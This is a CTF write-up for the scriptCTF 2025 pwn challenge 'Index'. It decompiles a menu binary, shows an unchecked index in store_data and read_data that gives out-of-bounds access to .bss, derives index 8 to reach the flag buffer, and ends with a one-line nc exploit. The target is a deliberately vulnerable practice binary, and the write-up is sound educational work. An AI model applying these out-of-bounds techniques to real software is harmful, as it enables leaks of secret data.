scriptCTF 2025

Index – Pwn Challenge Writeup | scriptCTF 2025

Hey exploiters — time for another deep dive. This write-up covers Index from ScriptCTF 2025 (Pwn), where a polite little menu hides a deterministic data-only leak. We’ll walk through the 0x539 “loader,” the PIE-stable offset into .bss, and how a single %s turns into a clean flag exfil—no ROP required.

1. First look: run it and poke around

I started by just running the binary to see how it behaves. It greets with a tiny menu, lists a few options, and waits for input. I tried the usual mix — valid choices like 1, 2, 3, 4, then some random numbers and junk strings—to get a feel for the flow and responses. Nothing flashy: it asks for an index when you pick “store” or “read,” and it has a playful “print flag” option that doesn’t actually hand over the goods.

With the surface behavior mapped at a high level, I moved on to static inspection — this time using Cutter (the radare2/rizin GUI) to get a cleaner view of functions, strings, and basic control flow before diving deeper

2. Cutter overview → decompiler (structure & logic)

Before digging into offsets, I opened the binary in Cutter to collect fundamentals and map the code shape. The dashboard gives us the quick facts:

  • Format / Arch: ELF64, x86–64, little-endian
  • Type: DYN (PIE-enabled shared object style)
  • Mitigations: PIE = True, NX = True, Canary = True, RELRO = Full
  • Linked libs: libc.so.6
  • Stripped: False (nice — symbols are present)

On the left, Cutter lists tidy symbols: main, menu, store_data, read_data, print_flag, plus imports like fgets, fopen, getchar, printf, puts, strcmp, atoi, __isoc99_scanf, setbuf.

With auto-analysis on, the decompiler yields readable C.

main (menu loop + hidden path) function

undefined8 main(void)
{
    int32_t iVar1;
    int64_t in_FS_OFFSET;
    uint32_t var_7ch;
    char *str;
    int64_t var_10h;
    
    var_10h = *(int64_t *)(in_FS_OFFSET + 0x28);
    init();
    do {
        while( true ) {
            menu();
            fgets(&str, 100, _stdin);
            iVar1 = atoi(&str);
            if (iVar1 < 5) break;
            if (iVar1 == 0x539) {
                _f = fopen("flag.txt", data.000020c6);
                fgets(flag, 0x40, _f);
            }
        }
    // switch table (5 cases) at 0x20d4
        switch(iVar1) {
        case 0:
            printf("Invalid choice: %s", &str);
            break;
        case 1:
            store_data();
            break;
        case 2:
            read_data();
            break;
        case 3:
            print_flag();
            break;
        case 4:
            puts("Bye!");
            if (var_10h == *(int64_t *)(in_FS_OFFSET + 0x28)) {
                return 0;
            }
    // WARNING: Subroutine does not return
            __stack_chk_fail();
        }
    } while( true );
}
  • Reads a line with fgets, parses it with atoi, dispatches a switch for 0..4.
  • Special case: if the parsed value is 0x539 (1337), it executes a hidden branch:
f = fopen("flag.txt", "r");
fgets(flag, 0x40, f);     // loads flag into .bss
  • Otherwise, it loops back to the menu.

menu function

void menu(void)
{
    puts("1. Store data");
    puts("2. Read data");
    puts("3. Print flag");
    puts("4. Exit");
    return;
}

Just prints:

1. Store data
2. Read data
3. Print flag
4. Exit

store_data function

void store_data(void)
{
    int64_t in_FS_OFFSET;
    FILE *stream;
    int64_t canary;
    
    canary = *(int64_t *)(in_FS_OFFSET + 0x28);
    printf("Index: ");
    __isoc99_scanf(data.00002041, &stream);
    getchar();
    printf("Data: ");
    fgets(nums + (int64_t)(int32_t)stream * 8, 8, _stdin);
    if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
        __stack_chk_fail();
    }
    return;
}
  • Prompts for Index: and reads into stream via scanf("%d", &stream). Despite the name/type, the decompiler then treats stream as a 32-bit integer: note the (int32_t)stream cast.
  • Consumes the trailing newline with getchar().
  • Prompts Data: and writes user input with fgets to:
nums + (int64_t)(int32_t)stream * 8
  • The fgets(..., 8, ...) cap means up to 7 bytes + NUL are written. If the user types ≤6 chars plus \n, the newline is stored; longer input is truncated and NUL-terminated.
  • There is no bounds check on stream → this is an OOB write primitive into whatever lies after/before nums in .bss. (We won’t need this for the clean solve, but it confirms the intended memory-arithmetic theme.)

read_data function

// WARNING: Variable defined which should be unmapped: var_ch

void read_data(void)
{
    int64_t var_ch;
    
    printf("Index: ");
    __isoc99_scanf(data.00002041, &var_ch);
    getchar();
    printf("Data: %s", nums + (int64_t)(int32_t)var_ch * 8);
    return;
}
  • Prompts for Index: and reads into var_ch via scanf("%d", &var_ch).
  • Although var_ch is int64_t, %d parses a 32-bit signed integer. The decompiler reflects this with the explicit truncation and sign-extension: (int64_t)(int32_t)var_ch.
  • Consumes the trailing newline with getchar().
  • The program then prints with:
printf("Data: %s", nums + (int64_t)(int32_t)var_ch * 8);

This treats nums + (int64_t)(int32_t)var_ch * 8 as a char * to a NUL-terminated string and feeds it to %s. The * 8 reveals an 8-byte stride over the global nums region.

  • There is no bounds check on var_ch. Negative values are allowed (because of the (int32_t) cast) and will sign-extend back to 64-bit, so the pointer can move before nums as well as far after it—an out-of-bounds read in .bss/adjacent memory.
  • Because the sink is %s, whatever lives at the computed address must be NUL-terminated to print cleanly. If it isn’t, you’ll get garbage or potentially a crash; if it is (e.g., another buffer filled by fgets), it will print exactly that string.

3. Symbols & layout — derive the exact index for %s

With the behavior in place, the next step is to line up globals in .bss so we can drive:

printf("Data: %s", nums + (int64_t)(int32_t)var_ch * 8);

to land exactly on flag.

From Cutter’s Symbols (or the “Functions/Variables” pane):

nums  @ 0x00004060
flag  @ 0x000040a0

Compute the delta:

&flag - &nums = 0x40a0 - 0x4060 = 0x40 bytes

The code multiplies the (32-bit) index by 8:

nums + (int64_t)(int32_t)var_ch * 8 == flag
→ (int64_t)(int32_t)var_ch * 8 == 0x40
→ (int32_t)var_ch == 0x40 / 8 == 8

So entering var_ch = 8 makes the %s pointer exactly equal flag.

Why this survives PIE/ASLR: both nums and flag are in the same module’s .bss, so while the base slides, the difference &flag - &nums stays constant. As long as the stride is 8, (int32_t)var_ch = 8 remains the correct choice.

4. Hidden branch in main — the 0x539 “loader” that primes flag

The interesting bit in main appears outside the standard switch (which only handles 0..4). After parsing the menu input with atoi, there’s a guard that checks for values ≥ 5 and then a special compare:

fgets(&str, 100, _stdin);
iVar1 = atoi(&str);
if (iVar1 < 5) {
    // fall through to switch(iVar1) { 0..4 }
} else {
    if (iVar1 == 0x539) {
        _f = fopen("flag.txt", data.000020c6);
        fgets(flag, 0x40, _f);
    }
    // loop continues; no switch dispatch when iVar1 >= 5
}

What this does :

  • When input converts to 0x539 (decimal 1337), it executes a hidden path:
_f = fopen("flag.txt", data.000020c6);
fgets(flag, 0x40, _f);

data.000020c6 is the mode string (the decompiler lifted it as a data reference); effectively this is fopen("flag.txt", "r").

  • fgets(flag, 0x40, _f); copies up to 0x3F bytes and appends a NUL, guaranteeing that flag is a valid C-string in .bss.

Why we need this before reading: Our print sink is the exact call:

printf("Data: %s", nums + (int64_t)(int32_t)var_ch * 8);

For (int32_t)var_ch == 8 we derived earlier, that pointer equals flag.

Calling the 0x539 branch first ensures flag holds a NUL-terminated string so %s prints cleanly. If you skip it, flag may be uninitialized/empty and the output will be useless.

Flow nuance: inputs ≥ 5 don’t enter the switch; the loop just continues after the hidden branch. So the full interaction is:

  • Send 1337 → primes flag.
  • Send 2 → enters read_data.
  • Send 8 → nums + (int64_t)(int32_t)var_ch * 8 lands exactly on flag, and %s prints it.

Note: If flag.txt is not in the same directory and you input 1337, fopen returns NULL and the subsequent fgets(flag, 0x40, _f) will crash. Ensure flag.txt exists (remote services already have it).

5. Remote exploitation

Fire the hidden loader, then leak via the %s read with the exact index:

printf '1337\n2\n8\n' | nc <HOST> <PORT>

That’s it — 1337 primes flag, 2 invokes read_data, and 8 makes print the flag.

0 people love this